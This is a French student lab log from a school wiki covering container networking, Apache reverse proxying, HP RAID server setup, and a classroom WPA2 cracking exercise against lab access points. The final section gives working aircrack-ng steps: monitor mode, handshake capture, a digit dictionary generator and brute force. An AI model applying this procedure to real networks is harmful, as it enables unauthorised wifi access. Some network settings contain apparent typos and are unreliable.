<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tcattela</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tcattela"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Tcattela"/>
		<updated>2026-09-19T20:22:25Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48958</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48958"/>
				<updated>2018-12-17T22:46:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Crack de réseau WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
